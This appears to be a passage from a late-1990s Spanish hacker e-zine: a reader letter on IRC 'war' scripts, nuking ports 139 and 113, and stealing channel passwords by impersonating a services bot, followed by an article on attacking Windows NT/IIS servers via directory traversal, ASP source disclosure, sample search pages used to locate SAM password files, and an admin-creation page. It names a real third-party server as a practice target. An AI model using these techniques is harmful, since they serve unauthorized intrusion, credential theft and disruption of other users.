cosas mßs interesantes, me gustaria hacer un peque±o inciso sobre el IRC en un numero de su revista vi que pedφan mßs servidores espa±oles aquφ os va una peque±a lista de servidores espa±oles: fuego.irc-hispano.org\ En estos dos servidores recomiendo el puerto 8896 (para mejor rapidez y menor posibilidad de nukeo) aire.irc-hispano.org / irc.redestb.es irc.ctv.es irc.lleida.net irc.catalunya.net Yo creo que con esos servidores ya va bien. Ahora os recomendare unos scripts y os dire paginas donde encontrarlos: Si quereis un script para el IRC de guerra podeis conseguir estos: - AzEzInO v2.1 ( este os lo recomiendo es genial para matar a gente :) - Killer Zombie Si por el contrario quereis un script de dibujitos sonidos y tonterias estan estos otros: - Orbital - Beginner - Shark - Skripter 97 Aqui teneis una direccion donde podreis encontrara estos scripts y mßs: www.arrakis.es/~sucubus Si deseais hacer vuestro propio script para el IRC os mando un manual peque±o pero que os dara una minima idea de como poder hacer vuestro propio script y con ayuda de ese manual y la guia de ver otros scripts pues podeis hacer vuestro propio script. TRUQUITOS PARA EL IRC Este truco funciona a veces no funciona siempre pero a veces esta bien ya que puedes descubrir con quien hablas ya que el internet es muy falso Al poner /dns nick sale la dns de una persona y si ponemos la dns al reves pues en varias ocasiones sale el nombre del ordenador que le da la persona a su ordenata acostumbra a ser su nombre, asφ podemos saber si miente o no. Por ejemplo: Estamos hablando con alguien y dice que es una tia y muchas mas cosas y su nick es julia tu puedes poner /dns julia saldra una cosa como 195.67.87.5 y entonces pones /dns 5.87.67.195 y si sale bien saldria el nombre del ordenata que podria ser julia o juan depende si miente o no es un truquito para saber con quien hablamos. Otro truquito para conseguir passwords de la gente de los canales y tener acceso a ese canal es que cuando haya un split, no muy anormal en el irc hispano, tengas un clon y le pongas rapidamente el nick de Scytale ( bot de arrakis ) y estar en muchos canales y asi la gente que entre al canal que este registrado y tenga la autentificaci≤n automatica te dira su pass de una forma muy rapida :) En este mail os incluyo un nuke muy potente y recordad que los puertos que podeis nukear son el tipico 139, 113 y hay otros pero no me los se. Para evitar que os nukeen, que realmente no es divertido ya que suele putearte cuando bajas archivos o estas haciendo otro tipo de maldades por internet o telnet, lo que podeis hacer es el archivo vnbt.386 le canviais el nombre por vnbt.bak esto es para los usuarios de win95 ya que linux creo que no tiene ese peque±o error, de esta forma nadie podra nukearos. Bueno de momento eso es todo espero que os haya servido de algo lo que os he contado. Realmente como decis los hackers espa±oles han muerto y han sido enterrados pero es que aquφ en espa±a estamos muy puteados con la puta timofonica ya que conectarse es muy caro y encima subiran a 300 pelas la hora y los numeros 900 que funcionen no abundan mucho. Pero aunque no haya hacekrs aunque gente como yo, como voostros que queremos que la informacion sea libre y gratuita y que los putos poderosos dejen de darnos la bara y que encierren a los putos polφticos corruptos en vez de a inocentes hackers que no hacen da±o a nadie PODREIS METER MI CUERPO EN UNA CARCEL, PERO MI MENTE SIEMPRE LIBRE SIEMPRE ARDE PORQUE ES INARRESTABLE ( EL CLUB DE LOS POETAS VIOLENTOS ) Bueno y despuΘs de todo este rollo se despide alguien que quiere colaborar con todo este movimiento y que le gustaria recibir notificaciones de nuevas publicaciones y si necesitais ayuda en algo no dudeis en comunicarlo que se buscara informaci≤n, se realizara lo necesario y se os ayudara. Venga adios. POBRE, LISTO, TONTO O RICO MORIRAS ( by ME ) !¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡ Cada dia se encuentran mas servidores con Windows NT. Creo que es importante estudiarlos ya que, al ser de Microsoft, seguro que es mas facil hackearlos. !¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡ ╔════════════════════╦══════════════════════════════════════════════════════╗ ║ ║ ║ ║ LAS ║ +++ Azum Lord +++ ║ ║ POSIBILIDADES EN ║ ║ ║ WINDOWS NT ║ http://members.xoom.com/logos/wlm.htm ║ ║ -segunda parte- ║ AzumLord@bigfoot.com ║ ║ ║ ║ ╚════════════════════╩══════════════════════════════════════════════════════╝ Hello World!!!!!, aprovechando que me quede en casa y no sali de vacaciones en semana santa :-(, heme aqui y como tengo varios dias esto va estar medio cargado. Primero que nada tienes que saber si es un servidor NT asi que hay varias posibilidades para saber si es o no, un servidor NT: 1. Fijate en la pagina de la vicitma talvez ahi diga 2. Ve a http://www.netcraft.com/cgi-bin/Survey/ 3. Prueba NBTSTAT -A [ip address] y fijate en la respuesta La primera opcion es la mas sencilla en esa URL se encuentra un robot que es mas o menos como un motor de busqueda tu le das la direccion y te dice que tipo de servidor esta corriendo, pero el problema es que no todos los servidores estan registrados asi que en algunos no podras usar esta opcion. La segunda opcion es la mas simple, vas a la pagina de la victima y si dice que es un servidor NT ya la hiciste o talvez te encuntras con paginas que envez de ser *.html o *.htm son *.asp La tercera es la mas segura. Si ya encontraste un servidor NT, puedes probar algunos de los siguientes exploits. Saltando directiorios: Para saltar el directorio wwwroot, que es el direcorio del web, pon lo sig.: http://www.victima.com/..\.. Pero esto ya no funciona en un servidor IIS 3.0/NT 4.0 corriendo el service pack 3. Viendo el contenido de un ASP: Por ejemplo la direccion normal es www.victima.com/pagina.asp para ver el codigo usas http://www.victima.com/pagina.asp. ^El punto hace que el codigo sea visible en el navegador. El problema es que esta parchado en sistemas corriendo el service pack 2 y 3 El exploit de los motores de busqueda: Este es el que mejor funciona en casi todos los servidores que lo he probado. Solo tienes que poner: http://www.uyweb.com.uy/samples/search/queryhit.htm Este servidor esta muu bien pa' practicar un rato, asi que ya sabes, como este ay un (#!)&#)$)(($ de servidores. Si por ejemplo sale una pagina que parece un motor de busqueda el exploit "podria" funcionar y digo "podria" porque talvez puedas accesar a la pagina pero al hacer una busqueda no tienes privilegios asi que esto no serviria de nada, pero si puedes ejecutar la busqueda preparate para hacer esto: Puedes buscar por cualquier archivo en el servidor, por ejemplo. \\WINNT\SYSTEM32\CONFIG\SAM --> Que es el archivo de password del NT \\WINNT\REPAIR --> Que es el respaldo del archivo de password del NT O puedes buscar especificamente por un tipo de archivo usando esto: #filename=*.asp --> Para que busque todos los archivos con terminacion asp, haz mas pruebas con eso busca por ejecutables, zippeados, cabs en algunos servidores puedes bajar buen software. Tambien puedes buscar por *.htx, *.idq, *.log, *.txt, *.scp, *.doc, etc. talvez contengan alguna informacion importante. Estuve jugando un rato con eso, y encontre que si ese servidor tiene instalado el Back Office para Windows NT que es para administrar bases de datos SQL puedes buscar por un archivo que se llama anusqllogin.asp Por si no se te prendio el foco de como buscar el archivo solo pon esto: #filename=anusqllogin.asp Y si lo puedes accesar puedes agregar administradores con el nombre y passwd que quieras };-> la mayoria de las ocasiones este archivo no tenia restricciones y lo pude accesar y ejecutar. Tambien puedes probar este otro motor de busqueda: http://www.victima.com/scripts/samples/search/webhits.exe Pero la mayoria de las veces que lo he probado falla, pero vale la pena intentarlo asi que pruebalo de todas maneras. Azumlord@hotmail.com `'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`' Esto es todo amigos. Espero que la hayais encontrado interesante y que sigais colaborando con vuestros articulos y sugerencias. Pronto volveremos con mas cosas .... RareGaZz '98 ~~~~~~~~~~~~